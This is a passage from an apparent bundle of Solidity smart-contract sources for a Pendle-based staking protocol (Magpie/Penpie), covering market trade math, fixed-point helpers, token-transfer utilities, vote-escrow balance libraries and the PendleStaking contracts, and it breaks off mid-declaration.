netSyToReserve) = calcTrade(\n market,\n comp,\n index,\n netPtToAccount\n );\n\n /// ------------------------------------------------------------\n /// WRITE\n /// ------------------------------------------------------------\n _setNewMarketStateTrade(\n market,\n comp,\n index,\n netPtToAccount,\n netSyToAccount,\n netSyToReserve,\n blockTime\n );\n }\n\n function getMarketPreCompute(\n MarketState memory market,\n PYIndex index,\n uint256 blockTime\n ) internal pure returns (MarketPreCompute memory res) {\n if (MiniHelpers.isExpired(market.expiry, blockTime)) revert Errors.MarketExpired();\n\n uint256 timeToExpiry = market.expiry - blockTime;\n\n res.rateScalar = _getRateScalar(market, timeToExpiry);\n res.totalAsset = index.syToAsset(market.totalSy);\n\n if (market.totalPt == 0 || res.totalAsset == 0)\n revert Errors.MarketZeroTotalPtOrTotalAsset(market.totalPt, res.totalAsset);\n\n res.rateAnchor = _getRateAnchor(\n market.totalPt,\n market.lastLnImpliedRate,\n res.totalAsset,\n res.rateScalar,\n timeToExpiry\n );\n res.feeRate = _getExchangeRateFromImpliedRate(market.lnFeeRateRoot, timeToExpiry);\n }\n\n function calcTrade(\n MarketState memory market,\n MarketPreCompute memory comp,\n PYIndex index,\n int256 netPtToAccount\n ) internal pure returns (int256 netSyToAccount, int256 netSyFee, int256 netSyToReserve) {\n int256 preFeeExchangeRate = _getExchangeRate(\n market.totalPt,\n comp.totalAsset,\n comp.rateScalar,\n comp.rateAnchor,\n netPtToAccount\n );\n\n int256 preFeeAssetToAccount = netPtToAccount.divDown(preFeeExchangeRate).neg();\n int256 fee = comp.feeRate;\n\n if (netPtToAccount > 0) {\n int256 postFeeExchangeRate = preFeeExchangeRate.divDown(fee);\n if (postFeeExchangeRate < Math.IONE)\n revert Errors.MarketExchangeRateBelowOne(postFeeExchangeRate);\n\n fee = preFeeAssetToAccount.mulDown(Math.IONE - fee);\n } else {\n fee = ((preFeeAssetToAccount * (Math.IONE - fee)) / fee).neg();\n }\n\n int256 netAssetToReserve = (fee * market.reserveFeePercent.Int()) / PERCENTAGE_DECIMALS;\n int256 netAssetToAccount = preFeeAssetToAccount - fee;\n\n netSyToAccount = netAssetToAccount < 0\n ? index.assetToSyUp(netAssetToAccount)\n : index.assetToSy(netAssetToAccount);\n netSyFee = index.assetToSy(fee);\n netSyToReserve = index.assetToSy(netAssetToReserve);\n }\n\n function _setNewMarketStateTrade(\n MarketState memory market,\n MarketPreCompute memory comp,\n PYIndex index,\n int256 netPtToAccount,\n int256 netSyToAccount,\n int256 netSyToReserve,\n uint256 blockTime\n ) internal pure {\n uint256 timeToExpiry = market.expiry - blockTime;\n\n market.totalPt = market.totalPt.subNoNeg(netPtToAccount);\n market.totalSy = market.totalSy.subNoNeg(netSyToAccount + netSyToReserve);\n\n market.lastLnImpliedRate = _getLnImpliedRate(\n market.totalPt,\n index.syToAsset(market.totalSy),\n comp.rateScalar,\n comp.rateAnchor,\n timeToExpiry\n );\n\n if (market.lastLnImpliedRate == 0) revert Errors.MarketZeroLnImpliedRate();\n }\n\n function _getRateAnchor(\n int256 totalPt,\n uint256 lastLnImpliedRate,\n int256 totalAsset,\n int256 rateScalar,\n uint256 timeToExpiry\n ) internal pure returns (int256 rateAnchor) {\n int256 newExchangeRate = _getExchangeRateFromImpliedRate(lastLnImpliedRate, timeToExpiry);\n\n if (newExchangeRate < Math.IONE) revert Errors.MarketExchangeRateBelowOne(newExchangeRate);\n\n {\n int256 proportion = totalPt.divDown(totalPt + totalAsset);\n\n int256 lnProportion = _logProportion(proportion);\n\n rateAnchor = newExchangeRate - lnProportion.divDown(rateScalar);\n }\n }\n\n /// @notice Calculates the current market implied rate.\n /// @return lnImpliedRate the implied rate\n function _getLnImpliedRate(\n int256 totalPt,\n int256 totalAsset,\n int256 rateScalar,\n int256 rateAnchor,\n uint256 timeToExpiry\n ) internal pure returns (uint256 lnImpliedRate) {\n // This will check for exchange rates < Math.IONE\n int256 exchangeRate = _getExchangeRate(totalPt, totalAsset, rateScalar, rateAnchor, 0);\n\n // exchangeRate >= 1 so its ln >= 0\n uint256 lnRate = exchangeRate.ln().Uint();\n\n lnImpliedRate = (lnRate * IMPLIED_RATE_TIME) / timeToExpiry;\n }\n\n /// @notice Converts an implied rate to an exchange rate given a time to expiry. The\n /// formula is E = e^rt\n function _getExchangeRateFromImpliedRate(\n uint256 lnImpliedRate,\n uint256 timeToExpiry\n ) internal pure returns (int256 exchangeRate) {\n uint256 rt = (lnImpliedRate * timeToExpiry) / IMPLIED_RATE_TIME;\n\n exchangeRate = LogExpMath.exp(rt.Int());\n }\n\n function _getExchangeRate(\n int256 totalPt,\n int256 totalAsset,\n int256 rateScalar,\n int256 rateAnchor,\n int256 netPtToAccount\n ) internal pure returns (int256 exchangeRate) {\n int256 numerator = totalPt.subNoNeg(netPtToAccount);\n\n int256 proportion = (numerator.divDown(totalPt + totalAsset));\n\n if (proportion > MAX_MARKET_PROPORTION)\n revert Errors.MarketProportionTooHigh(proportion, MAX_MARKET_PROPORTION);\n\n int256 lnProportion = _logProportion(proportion);\n\n exchangeRate = lnProportion.divDown(rateScalar) + rateAnchor;\n\n if (exchangeRate < Math.IONE) revert Errors.MarketExchangeRateBelowOne(exchangeRate);\n }\n\n function _logProportion(int256 proportion) internal pure returns (int256 res) {\n if (proportion == Math.IONE) revert Errors.MarketProportionMustNotEqualOne();\n\n int256 logitP = proportion.divDown(Math.IONE - proportion);\n\n res = logitP.ln();\n }\n\n function _getRateScalar(\n MarketState memory market,\n uint256 timeToExpiry\n ) internal pure returns (int256 rateScalar) {\n rateScalar = (market.scalarRoot * IMPLIED_RATE_TIME.Int()) / timeToExpiry.Int();\n if (rateScalar <= 0) revert Errors.MarketRateScalarBelowZero(rateScalar);\n }\n\n function setInitialLnImpliedRate(\n MarketState memory market,\n PYIndex index,\n int256 initialAnchor,\n uint256 blockTime\n ) internal pure {\n /// ------------------------------------------------------------\n /// CHECKS\n /// ------------------------------------------------------------\n if (MiniHelpers.isExpired(market.expiry, blockTime)) revert Errors.MarketExpired();\n\n /// ------------------------------------------------------------\n /// MATH\n /// ------------------------------------------------------------\n int256 totalAsset = index.syToAsset(market.totalSy);\n uint256 timeToExpiry = market.expiry - blockTime;\n int256 rateScalar = _getRateScalar(market, timeToExpiry);\n\n /// ------------------------------------------------------------\n /// WRITE\n /// ------------------------------------------------------------\n market.lastLnImpliedRate = _getLnImpliedRate(\n market.totalPt,\n totalAsset,\n rateScalar,\n initialAnchor,\n timeToExpiry\n );\n }\n}\n"
},
"contracts/libraries/math/Math.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU General Public License for more details.\n\n// You should have received a copy of the GNU General Public License\n// along with this program. If not, see <http://www.gnu.org/licenses/>.\n\npragma solidity 0.8.19;\n\n/* solhint-disable private-vars-leading-underscore, reason-string */\n\nlibrary Math {\n uint256 internal constant ONE = 1e18; // 18 decimal places\n int256 internal constant IONE = 1e18; // 18 decimal places\n\n function subMax0(uint256 a, uint256 b) internal pure returns (uint256) {\n unchecked {\n return (a >= b ? a - b : 0);\n }\n }\n\n function subNoNeg(int256 a, int256 b) internal pure returns (int256) {\n require(a >= b, \"negative\");\n return a - b; // no unchecked since if b is very negative, a - b might overflow\n }\n\n function mulDown(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 product = a * b;\n unchecked {\n return product / ONE;\n }\n }\n\n function mulDown(int256 a, int256 b) internal pure returns (int256) {\n int256 product = a * b;\n unchecked {\n return product / IONE;\n }\n }\n\n function divDown(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 aInflated = a * ONE;\n unchecked {\n return aInflated / b;\n }\n }\n\n function divDown(int256 a, int256 b) internal pure returns (int256) {\n int256 aInflated = a * IONE;\n unchecked {\n return aInflated / b;\n }\n }\n\n function rawDivUp(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a + b - 1) / b;\n }\n\n // @author Uniswap\n function sqrt(uint256 y) internal pure returns (uint256 z) {\n if (y > 3) {\n z = y;\n uint256 x = y / 2 + 1;\n while (x < z) {\n z = x;\n x = (y / x + x) / 2;\n }\n } else if (y != 0) {\n z = 1;\n }\n }\n\n function abs(int256 x) internal pure returns (uint256) {\n return uint256(x > 0 ? x : -x);\n }\n\n function neg(int256 x) internal pure returns (int256) {\n return x * (-1);\n }\n\n function neg(uint256 x) internal pure returns (int256) {\n return Int(x) * (-1);\n }\n\n function max(uint256 x, uint256 y) internal pure returns (uint256) {\n return (x > y ? x : y);\n }\n\n function max(int256 x, int256 y) internal pure returns (int256) {\n return (x > y ? x : y);\n }\n\n function min(uint256 x, uint256 y) internal pure returns (uint256) {\n return (x < y ? x : y);\n }\n\n function min(int256 x, int256 y) internal pure returns (int256) {\n return (x < y ? x : y);\n }\n\n /*///////////////////////////////////////////////////////////////\n SIGNED CASTS\n //////////////////////////////////////////////////////////////*/\n\n function Int(uint256 x) internal pure returns (int256) {\n require(x <= uint256(type(int256).max));\n return int256(x);\n }\n\n function Int128(int256 x) internal pure returns (int128) {\n require(type(int128).min <= x && x <= type(int128).max);\n return int128(x);\n }\n\n function Int128(uint256 x) internal pure returns (int128) {\n return Int128(Int(x));\n }\n\n /*///////////////////////////////////////////////////////////////\n UNSIGNED CASTS\n //////////////////////////////////////////////////////////////*/\n\n function Uint(int256 x) internal pure returns (uint256) {\n require(x >= 0);\n return uint256(x);\n }\n\n function Uint32(uint256 x) internal pure returns (uint32) {\n require(x <= type(uint32).max);\n return uint32(x);\n }\n\n function Uint112(uint256 x) internal pure returns (uint112) {\n require(x <= type(uint112).max);\n return uint112(x);\n }\n\n function Uint96(uint256 x) internal pure returns (uint96) {\n require(x <= type(uint96).max);\n return uint96(x);\n }\n\n function Uint128(uint256 x) internal pure returns (uint128) {\n require(x <= type(uint128).max);\n return uint128(x);\n }\n\n function isAApproxB(uint256 a, uint256 b, uint256 eps) internal pure returns (bool) {\n return mulDown(b, ONE - eps) <= a && a <= mulDown(b, ONE + eps);\n }\n\n function isAGreaterApproxB(uint256 a, uint256 b, uint256 eps) internal pure returns (bool) {\n return a >= b && a <= mulDown(b, ONE + eps);\n }\n\n function isASmallerApproxB(uint256 a, uint256 b, uint256 eps) internal pure returns (bool) {\n return a <= b && a >= mulDown(b, ONE - eps);\n }\n}\n"
},
"contracts/libraries/MiniHelpers.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\n\nlibrary MiniHelpers {\n function isCurrentlyExpired(uint256 expiry) internal view returns (bool) {\n return (expiry <= block.timestamp);\n }\n\n function isExpired(uint256 expiry, uint256 blockTime) internal pure returns (bool) {\n return (expiry <= blockTime);\n }\n\n function isTimeInThePast(uint256 timestamp) internal view returns (bool) {\n return (timestamp <= block.timestamp); // same definition as isCurrentlyExpired\n }\n}\n"
},
"contracts/libraries/MintableERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol)\npragma solidity ^0.8.0;\n\nimport { ERC20 } from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport { Ownable } from \"@openzeppelin/contracts/access/Ownable.sol\";\n\ncontract MintableERC20 is ERC20, Ownable {\n /*\n The ERC20 deployed will be owned by the others contracts of the protocol, specifically by\n MasterMagpie and WombatStaking, forbidding the misuse of these functions for nefarious purposes\n */\n constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_) {} \n\n function mint(address account, uint256 amount) external virtual onlyOwner {\n _mint(account, amount);\n }\n\n function burn(address account, uint256 amount) external virtual onlyOwner {\n _burn(account, amount);\n }\n}"
},
"contracts/libraries/PYIndex.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\n\nimport \"../interfaces/pendle/IPYieldToken.sol\";\nimport \"../interfaces/pendle/IPPrincipalToken.sol\";\n\nimport \"./SYUtils.sol\";\nimport \"./math/Math.sol\";\n\ntype PYIndex is uint256;\n\nlibrary PYIndexLib {\n using Math for uint256;\n using Math for int256;\n\n function newIndex(IPYieldToken YT) internal returns (PYIndex) {\n return PYIndex.wrap(YT.pyIndexCurrent());\n }\n\n function syToAsset(PYIndex index, uint256 syAmount) internal pure returns (uint256) {\n return SYUtils.syToAsset(PYIndex.unwrap(index), syAmount);\n }\n\n function assetToSy(PYIndex index, uint256 assetAmount) internal pure returns (uint256) {\n return SYUtils.assetToSy(PYIndex.unwrap(index), assetAmount);\n }\n\n function assetToSyUp(PYIndex index, uint256 assetAmount) internal pure returns (uint256) {\n return SYUtils.assetToSyUp(PYIndex.unwrap(index), assetAmount);\n }\n\n function syToAssetUp(PYIndex index, uint256 syAmount) internal pure returns (uint256) {\n uint256 _index = PYIndex.unwrap(index);\n return SYUtils.syToAssetUp(_index, syAmount);\n }\n\n function syToAsset(PYIndex index, int256 syAmount) internal pure returns (int256) {\n int256 sign = syAmount < 0 ? int256(-1) : int256(1);\n return sign * (SYUtils.syToAsset(PYIndex.unwrap(index), syAmount.abs())).Int();\n }\n\n function assetToSy(PYIndex index, int256 assetAmount) internal pure returns (int256) {\n int256 sign = assetAmount < 0 ? int256(-1) : int256(1);\n return sign * (SYUtils.assetToSy(PYIndex.unwrap(index), assetAmount.abs())).Int();\n }\n\n function assetToSyUp(PYIndex index, int256 assetAmount) internal pure returns (int256) {\n int256 sign = assetAmount < 0 ? int256(-1) : int256(1);\n return sign * (SYUtils.assetToSyUp(PYIndex.unwrap(index), assetAmount.abs())).Int();\n }\n}\n"
},
"contracts/libraries/SYUtils.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\n\nlibrary SYUtils {\n uint256 internal constant ONE = 1e18;\n\n function syToAsset(uint256 exchangeRate, uint256 syAmount) internal pure returns (uint256) {\n return (syAmount * exchangeRate) / ONE;\n }\n\n function syToAssetUp(uint256 exchangeRate, uint256 syAmount) internal pure returns (uint256) {\n return (syAmount * exchangeRate + ONE - 1) / ONE;\n }\n\n function assetToSy(uint256 exchangeRate, uint256 assetAmount) internal pure returns (uint256) {\n return (assetAmount * ONE) / exchangeRate;\n }\n\n function assetToSyUp(\n uint256 exchangeRate,\n uint256 assetAmount\n ) internal pure returns (uint256) {\n return (assetAmount * ONE + exchangeRate - 1) / exchangeRate;\n }\n}\n"
},
"contracts/libraries/TokenHelper.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\nimport \"../interfaces/IWETH.sol\";\n\nabstract contract TokenHelper {\n using SafeERC20 for IERC20;\n address internal constant NATIVE = address(0);\n uint256 internal constant LOWER_BOUND_APPROVAL = type(uint96).max / 2; // some tokens use 96 bits for approval\n\n function _transferIn(address token, address from, uint256 amount) internal {\n if (token == NATIVE) require(msg.value == amount, \"eth mismatch\");\n else if (amount != 0) IERC20(token).safeTransferFrom(from, address(this), amount);\n }\n\n function _transferFrom(IERC20 token, address from, address to, uint256 amount) internal {\n if (amount != 0) token.safeTransferFrom(from, to, amount);\n }\n\n function _transferOut(address token, address to, uint256 amount) internal {\n if (amount == 0) return;\n if (token == NATIVE) {\n (bool success, ) = to.call{ value: amount }(\"\");\n require(success, \"eth send failed\");\n } else {\n IERC20(token).safeTransfer(to, amount);\n }\n }\n\n function _transferOut(address[] memory tokens, address to, uint256[] memory amounts) internal {\n uint256 numTokens = tokens.length;\n require(numTokens == amounts.length, \"length mismatch\");\n for (uint256 i = 0; i < numTokens; ) {\n _transferOut(tokens[i], to, amounts[i]);\n unchecked {\n i++;\n }\n }\n }\n\n function _selfBalance(address token) internal view returns (uint256) {\n return (token == NATIVE) ? address(this).balance : IERC20(token).balanceOf(address(this));\n }\n\n function _selfBalance(IERC20 token) internal view returns (uint256) {\n return token.balanceOf(address(this));\n }\n\n /// @notice Approves the stipulated contract to spend the given allowance in the given token\n /// @dev PLS PAY ATTENTION to tokens that requires the approval to be set to 0 before changing it\n function _safeApprove(address token, address to, uint256 value) internal {\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(IERC20.approve.selector, to, value)\n );\n require(success && (data.length == 0 || abi.decode(data, (bool))), \"Safe Approve\");\n }\n\n function _safeApproveInf(address token, address to) internal {\n if (token == NATIVE) return;\n if (IERC20(token).allowance(address(this), to) < LOWER_BOUND_APPROVAL) {\n _safeApprove(token, to, 0);\n _safeApprove(token, to, type(uint256).max);\n }\n }\n\n function _wrap_unwrap_ETH(address tokenIn, address tokenOut, uint256 netTokenIn) internal {\n if (tokenIn == NATIVE) IWETH(tokenOut).deposit{ value: netTokenIn }();\n else IWETH(tokenIn).withdraw(netTokenIn);\n }\n}\n"
},
"contracts/libraries/VeBalanceLib.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\npragma solidity 0.8.19;\n\nimport \"./math/Math.sol\";\nimport \"./Errors.sol\";\n\nstruct VeBalance {\n uint128 bias;\n uint128 slope;\n}\n\nstruct LockedPosition {\n uint128 amount;\n uint128 expiry;\n}\n\nlibrary VeBalanceLib {\n using Math for uint256;\n uint128 internal constant MAX_LOCK_TIME = 104 weeks;\n uint256 internal constant USER_VOTE_MAX_WEIGHT = 10 ** 18;\n\n function add(\n VeBalance memory a,\n VeBalance memory b\n ) internal pure returns (VeBalance memory res) {\n res.bias = a.bias + b.bias;\n res.slope = a.slope + b.slope;\n }\n\n function sub(\n VeBalance memory a,\n VeBalance memory b\n ) internal pure returns (VeBalance memory res) {\n res.bias = a.bias - b.bias;\n res.slope = a.slope - b.slope;\n }\n\n function sub(\n VeBalance memory a,\n uint128 slope,\n uint128 expiry\n ) internal pure returns (VeBalance memory res) {\n res.slope = a.slope - slope;\n res.bias = a.bias - slope * expiry;\n }\n\n function isExpired(VeBalance memory a) internal view returns (bool) {\n return a.slope * uint128(block.timestamp) >= a.bias;\n }\n\n function getCurrentValue(VeBalance memory a) internal view returns (uint128) {\n if (isExpired(a)) return 0;\n return getValueAt(a, uint128(block.timestamp));\n }\n\n function getValueAt(VeBalance memory a, uint128 t) internal pure returns (uint128) {\n if (a.slope * t > a.bias) {\n return 0;\n }\n return a.bias - a.slope * t;\n }\n\n function getExpiry(VeBalance memory a) internal pure returns (uint128) {\n if (a.slope == 0) revert Errors.VEZeroSlope(a.bias, a.slope);\n return a.bias / a.slope;\n }\n\n function convertToVeBalance(\n LockedPosition memory position\n ) internal pure returns (VeBalance memory res) {\n res.slope = position.amount / MAX_LOCK_TIME;\n res.bias = res.slope * position.expiry;\n }\n\n function convertToVeBalance(\n LockedPosition memory position,\n uint256 weight\n ) internal pure returns (VeBalance memory res) {\n res.slope = ((position.amount * weight) / MAX_LOCK_TIME / USER_VOTE_MAX_WEIGHT).Uint128();\n res.bias = res.slope * position.expiry;\n }\n\n function convertToVeBalance(\n uint128 amount,\n uint128 expiry\n ) internal pure returns (uint128, uint128) {\n VeBalance memory balance = convertToVeBalance(LockedPosition(amount, expiry));\n return (balance.bias, balance.slope);\n }\n}\n"
},
"contracts/libraries/VeHistoryLib.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\n// Forked from OpenZeppelin (v4.5.0) (utils/Checkpoints.sol)\npragma solidity ^0.8.19;\n\nimport \"./math/Math.sol\";\nimport \"./VeBalanceLib.sol\";\nimport \"./WeekMath.sol\";\n\nstruct Checkpoint {\n uint128 timestamp;\n VeBalance value;\n}\n\nlibrary CheckpointHelper {\n function assignWith(Checkpoint memory a, Checkpoint memory b) internal pure {\n a.timestamp = b.timestamp;\n a.value = b.value;\n }\n}\n\nlibrary Checkpoints {\n struct History {\n Checkpoint[] _checkpoints;\n }\n\n function length(History storage self) internal view returns (uint256) {\n return self._checkpoints.length;\n }\n\n function get(History storage self, uint256 index) internal view returns (Checkpoint memory) {\n return self._checkpoints[index];\n }\n\n function push(History storage self, VeBalance memory value) internal {\n uint256 pos = self._checkpoints.length;\n if (pos > 0 && self._checkpoints[pos - 1].timestamp == WeekMath.getCurrentWeekStart()) {\n self._checkpoints[pos - 1].value = value;\n } else {\n self._checkpoints.push(\n Checkpoint({ timestamp: WeekMath.getCurrentWeekStart(), value: value })\n );\n }\n }\n}\n"
},
"contracts/libraries/WeekMath.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity 0.8.19;\n\nlibrary WeekMath {\n uint128 internal constant WEEK = 7 days;\n\n function getWeekStartTimestamp(uint128 timestamp) internal pure returns (uint128) {\n return (timestamp / WEEK) * WEEK;\n }\n\n function getCurrentWeekStart() internal view returns (uint128) {\n return getWeekStartTimestamp(uint128(block.timestamp));\n }\n\n function isValidWTime(uint256 time) internal pure returns (bool) {\n return time % WEEK == 0;\n }\n}\n"
},
"contracts/pendle/PendleStaking.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\npragma abicoder v2;\n\nimport { IERC20, ERC20 } from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport { SafeERC20 } from \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\n\nimport { PendleStakingBaseUpg } from \"./PendleStakingBaseUpg.sol\";\nimport { IPVotingEscrowMainchain } from \"../interfaces/pendle/IPVotingEscrowMainchain.sol\";\nimport { IPFeeDistributorV2 } from \"../interfaces/pendle/IPFeeDistributorV2.sol\";\nimport { IPVoteController } from \"../interfaces/pendle/IPVoteController.sol\";\n\nimport \"../interfaces/IConvertor.sol\";\nimport \"../libraries/ERC20FactoryLib.sol\";\nimport \"../libraries/WeekMath.sol\";\n\n/// @title PendleStaking\n/// @notice PendleStaking is the main contract that holds vePendle position on behalf on user to get boosted yield and vote.\n/// PendleStaking is the main contract interacting with Pendle Finance side\n/// @author Magpie Team\n\ncontract PendleStaking is PendleStakingBaseUpg {\n using SafeERC20 for IERC20;\n\n uint256 public lockPeriod;\n\n /* ============ Events ============ */\n event SetLockDays(uint256 _oldLockDays, uint256 _newLockDays);\n\n constructor() {_disableInitializers();}\n\n function __PendleStaking_init(\n address _pendle,\n address _WETH,\n address _vePendle,\n address _distributorETH,\n address _pendleRouter,\n address _masterPenpie\n ) public initializer {\n __PendleStakingBaseUpg_init(\n _pendle,\n _WETH,\n _vePendle,\n _distributorETH,\n _pendleRouter,\n _masterPenpie\n );\n lockPeriod = 720 * 86400;\n }\n\n /// @notice get the penpie claimable revenue share in ETH\n function totalUnclaimedETH() external view returns (uint256) {\n return distributorETH.getProtocolTotalAccrued(address(this));\n }\n\n /* ============ VePendle Related Functions ============ */\n\n function vote(\n address[] calldata _pools,\n uint64[] calldata _weights\n ) external override {\n if (msg.sender != voteManager) revert OnlyVoteManager();\n if (_pools.length != _weights.length) revert LengthMismatch();\n\n IPVoteController(pendleVote).vote(_pools, _weights);\n }\n\n function bootstrapVePendle(uint256[] calldata chainId) payable external onlyOwner returns( uint256 ) {\n uint256 amount = IERC20(PENDLE).balanceOf(address(this));\n IERC20(PENDLE).safeApprove(address(vePendle), amount);\n uint128 lockTime = _getIncreaseLockTime();\n return IPVotingEscrowMainchain(vePendle).increaseLockPositionAndBroadcast{value:msg.value}(uint128(amount), lockTime, chainId);\n }\n\n /// @notice convert PENDLE to mPendle\n /// @param _amount the number of Pendle to convert\n /// @dev the Pendle must already be in the contract\n function convertPendle(\n uint256 _amount,\n uint256[] calldata chainId\n ) public payable override whenNotPaused returns (uint256) {\n uint256 preVePendleAmount = accumulatedVePendle();\n if (_amount == 0) revert ZeroNotAllowed();\n\n IERC20(PENDLE).safeTransferFrom(msg.sender, address(this), _amount);\n IERC20(PENDLE).safeApprove(address(vePendle), _amount);\n\n uint128 unlockTime = _getIncreaseLockTime();\n IPVotingEscrowMainchain(vePendle).increaseLockPositionAndBroadcast{value:msg.value}(uint128(_amount), unlockTime, chainId);\n\n uint256 mintedVePendleAmount = accumulatedVePendle() -\n preVePendleAmount;\n emit PendleLocked(_amount, lockPeriod, mintedVePendleAmount);\n\n return mintedVePendleAmount;\n }\n\n function increaseLockTime(uint256 _unlockTime) external {\n uint128 unlockTime = WeekMath.getWeekStartTimestamp(\n uint128(block.timestamp + _unlockTime)\n );\n IPVotingEscrowMainchain(vePendle).increaseLockPosition(0, unlockTime);\n }\n\n function harvestVePendleReward(address[] calldata _pools) external {\n if (this.totalUnclaimedETH() == 0) {\n revert NoVePendleReward();\n }\n\n if (\n (protocolFee != 0 && feeCollector == address(0)) ||\n bribeManagerEOA == address(0)\n ) revert InvalidFeeDestination();\n\n (uint256 totalAmountOut, uint256[] memory amountsOut) = distributorETH\n .claimProtocol(address(this), _pools);\n // for protocol\n uint256 fee = (totalAmountOut * protocolFee) / DENOMINATOR;\n IERC20(WETH).safeTransfer(feeCollector, fee);\n\n // for caller\n uint256 callerFeeAmount = (totalAmountOut * vePendleHarvestCallerFee) /\n DENOMINATOR;\n IERC20(WETH).safeTransfer(msg.sender, callerFeeAmount);\n\n uint256 left = totalAmountOut - fee - callerFeeAmount;\n IERC20(WETH).safeTransfer(bribeManagerEOA, left);\n\n emit VePendleHarvested(\n totalAmountOut,\n _pools,\n amountsOut,\n fee,\n callerFeeAmount,\n left\n );\n }\n\n /* ============ Admin Functions ============ */\n\n function setLockDays(uint256 _newLockPeriod) external onlyOwner {\n uint256 oldLockPeriod = lockPeriod;\n lockPeriod = _newLockPeriod;\n\n emit SetLockDays(oldLockPeriod, lockPeriod);\n }\n\n /* ============ Internal Functions ============ */\n\n function _getIncreaseLockTime() internal view returns (uint128) {\n return\n WeekMath.getWeekStartTimestamp(\n uint128(block.timestamp + lockPeriod)\n );\n }\n}\n"
},
"contracts/pendle/PendleStakingBaseUpg.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\npragma abicoder v2;\n\nimport { IERC20, ERC20 } from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport { SafeERC20 } from \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\nimport { OwnableUpgradeable } from \"@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol\";\nimport { Initializable } from \"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol\";\nimport { ReentrancyGuardUpgradeable } from \"@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol\";\nimport { PausableUpgradeable } from \"@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol\";\n\nimport { IPendleMarketDepositHelper } from \"../interfaces/pendle/IPendleMarketDepositHelper.sol\";\nimport { IPVotingEscrowMainchain } from \"../interfaces/pendle/IPVotingEscrowMainchain.sol\";\nimport { IPFeeDistributorV2 } from \"../interfaces/pendle/IPFeeDistributorV2.sol\";\nimport { IPVoteController } from \"../interfaces/pendle/IPVoteController.sol\";\nimport { IPendleRouter } from \"../interfaces/pendle/IPendleRouter.sol\";\nimport { IMasterPenpie } from \"../interfaces/IMasterPenpie.sol\";\nimport { IETHZapper } from \"../interfaces/IETHZapper.sol\";\n\nimport \"../interfaces/ISmartPendleConvert.sol\";\nimport \"../interfaces/IBaseRewardPool.sol\";\nimport \"../interfaces/IMintableERC20.sol\";\nimport \"../interfaces/IWETH.sol\";\nimport \"../interfaces/IPendleStaking.sol\";\nimport \"../interfaces/pendle/IPendleMarket.sol\";\nimport \"../interfaces/IPenpieBribeManager.sol\";\n\nimport \"../interfaces/IConvertor.sol\";\nimport \"../libraries/ERC20FactoryLib.sol\";\nimport \"../libraries/WeekMath.sol\";\n\n/// @title PendleStakingBaseUpg\n/// @notice PendleStaking is the main contract that holds vePendle position on behalf on user to get boosted yield and vote.\n/// PendleStaking is the main contract interacting with Pendle Finance side\n/// @author Magpie Team\n\nabstract contract PendleStakingBaseUpg is\n Initializable,\n OwnableUpgradeable,\n ReentrancyGuardUpgradeable,\n PausableUpgradeable,\n IPendleStaking\n{\n using SafeERC20 for IERC20;\n\n /* ============ Structs ============ */\n\n struct Pool {\n address market;\n address rewarder;\n address helper;\n address receiptToken;\n uint256 lastHarvestTime;\n bool isActive;\n }\n\n struct Fees {\n uint256 value; // allocation denominated by DENOMINATOR\n address to;\n bool isMPENDLE;\n bool isAddress;\n bool isActive;\n }\n\n /* ============ State Variables ============ */\n // Addresses\n address public PENDLE;\n address public WETH;\n address public mPendleConvertor;\n address public mPendleOFT;\n address public marketDepositHelper;\n address public masterPenpie;\n address public voteManager;\n uint256 public harvestTimeGap;\n\n address internal constant NATIVE = address(0);\n\n //Pendle Finance addresses\n IPVotingEscrowMainchain public vePendle;\n IPFeeDistributorV2 public distributorETH;\n IPVoteController public pendleVote;\n IPendleRouter public pendleRouter;\n\n mapping(address => Pool) public pools;\n address[] public poolTokenList;\n\n // Lp Fees\n uint256 constant DENOMINATOR = 10000;\n uint256 public totalPendleFee; // total fee percentage for PENDLE reward\n Fees[] public pendleFeeInfos; // infor of fee and destination\n uint256 public autoBribeFee; // fee for any reward other than PENDLE\n\n // vePendle Fees\n uint256 public vePendleHarvestCallerFee;\n uint256 public protocolFee; // fee charged by penpie team for operation\n address public feeCollector; // penpie team fee destination\n address public bribeManagerEOA; // An EOA address to later user vePendle harvested reward as bribe\n\n /* ===== 1st upgrade ===== */\n address public bribeManager;\n address public smartPendleConvert;\n address public ETHZapper;\n uint256 public harvestCallerPendleFee;\n\n uint256[46] private __gap;\n\n\n /* ============ Events ============ */\n\n // Admin\n event PoolAdded(address _market, address _rewarder, address _receiptToken);\n event PoolRemoved(uint256 _pid, address _lpToken);\n\n event 